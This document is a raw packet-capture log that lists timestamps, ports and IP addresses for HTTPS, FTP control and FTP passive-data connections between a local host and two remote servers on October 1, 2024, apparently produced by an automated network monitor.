Oct 1, 2024 07:31:43.895276070 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.895354033 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.895406008 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.962119102 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.962201118 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.962210894 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.962239981 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.962281942 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.962281942 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:44.008704901 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:46.003782034 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:46.008733034 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:46.008838892 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:46.627922058 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:46.645164967 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:46.650095940 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:46.868467093 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:46.868599892 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:46.873395920 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:47.117877960 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:47.118001938 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:47.123260021 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:47.292089939 CEST	49706	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:47.341084957 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:47.341229916 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:47.346046925 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:47.564277887 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:47.564481974 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:47.569282055 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:47.787836075 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:47.788686037 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:47.793488979 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:48.011962891 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:48.012667894 CEST	49713	61512	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:48.017553091 CEST	61512	49713	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:48.017798901 CEST	49713	61512	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:48.017800093 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:48.022728920 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:48.641787052 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:48.642241001 CEST	49713	61512	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:48.642241001 CEST	49713	61512	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:48.647466898 CEST	61512	49713	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:48.647558928 CEST	61512	49713	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:48.647690058 CEST	49713	61512	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:48.757118940 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:48.866142035 CEST	21	49712	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:48.913368940 CEST	49712	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:49.950342894 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:49.950395107 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:49.950472116 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:49.954865932 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:49.954885960 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.470335007 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.470448971 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.472415924 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.472421885 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.472665071 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.518593073 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.559411049 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.641388893 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.641415119 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.641422987 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.641515970 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.641529083 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.662676096 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.662758112 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.662775993 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.710225105 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.732358932 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.732369900 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.732399940 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.732475996 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.732475996 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.733143091 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.733150959 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.733197927 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.734034061 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.734044075 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.734087944 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.753274918 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.753289938 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.753362894 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.822995901 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.823010921 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.823108912 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.823158026 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.823167086 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.823215008 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.823998928 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.824115992 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.824876070 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.824935913 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.825742960 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.825799942 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.826598883 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.826656103 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.844047070 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.844111919 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.913959980 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.914041042 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.914120913 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.914184093 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.914288998 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.914355993 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.914670944 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.914726973 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.915698051 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.915740967 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.915754080 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.915767908 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.915788889 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.915811062 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.916403055 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.916460991 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.916548967 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.916610003 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.917392015 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.917448997 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.918313980 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.918359041 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.918373108 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.918385029 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.918405056 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.918425083 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.934572935 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.934644938 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.934921980 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.934983969 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:50.935189962 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:50.935245991 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.004189968 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.004348993 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.004353046 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.004378080 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.004405022 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.004422903 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.004575014 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.004643917 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.005036116 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.005112886 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.005309105 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.005381107 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.005772114 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.005867958 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.005968094 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.006011009 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.006042004 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.006051064 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.006062984 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.006094933 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.006843090 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.006901979 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.007049084 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.007117987 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.007129908 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.007139921 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.007169008 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.007183075 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.007724047 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.007766962 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.007776022 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.007785082 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.007810116 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.007824898 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.025310993 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.025409937 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.025492907 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.025548935 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.025670052 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.025728941 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.094871044 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.094944000 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.095045090 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.095104933 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.095242023 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.095305920 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.095330000 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.095419884 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.095722914 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.095773935 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.095788956 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.095798969 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.095832109 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.096067905 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.096139908 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.096148968 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.096214056 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.100028038 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.100081921 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.100100040 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.100109100 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.100131989 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.100153923 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.100400925 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.100461006 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.100667000 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.100728989 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.100891113 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.100955963 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.115998030 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.116121054 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.116132021 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.116147041 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.116183996 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.116266966 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.116329908 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.185548067 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.185611963 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.185627937 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.185648918 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.185662031 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.185682058 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.185718060 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.185767889 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.185820103 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.185872078 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.185981989 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.186047077 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.186108112 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.186163902 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.186372995 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.186433077 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.186598063 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.186640978 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.186642885 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.186652899 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.186682940 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.186729908 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.186789989 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.187004089 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.187057018 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.187140942 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.187190056 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.187391996 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.187443972 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.206676006 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.206768036 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.206867933 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.206919909 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.206927061 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.206937075 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.206973076 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.206993103 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277034998 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277122021 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277168989 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277189016 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277230978 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277231932 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277251959 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277256966 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277271032 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277277946 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277324915 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277332067 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277407885 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277448893 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277456045 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277462006 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277493954 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277621031 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277686119 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277848005 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277892113 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277894974 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277904034 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277944088 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277946949 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277957916 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.277985096 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.277998924 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.278376102 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.278412104 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.278443098 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.278450012 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.278477907 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.278496027 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.297445059 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.297518969 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.297544003 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.297590971 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.297651052 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.297704935 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.366889954 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.366992950 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.366996050 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.367017031 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.367047071 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.367069006 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.367089987 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.367146015 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.367238998 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.367306948 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.367439985 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.367500067 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.367686033 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.367718935 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.367743015 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.367750883 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.367767096 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.367784023 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.368087053 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.368141890 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.368155003 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.368161917 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.368187904 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.368201971 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.368309975 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.368369102 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.368453979 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.368505955 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.368514061 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.368519068 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.368555069 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.368571997 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.368851900 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.368910074 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.388006926 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.388087034 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.388154030 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.388207912 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.388349056 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.388405085 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.457603931 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.457668066 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.457741022 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.457762957 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.457788944 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.457807064 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.457818031 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.457866907 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.457899094 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.457946062 CEST	49714	443	192.168.2.8	67.212.175.162
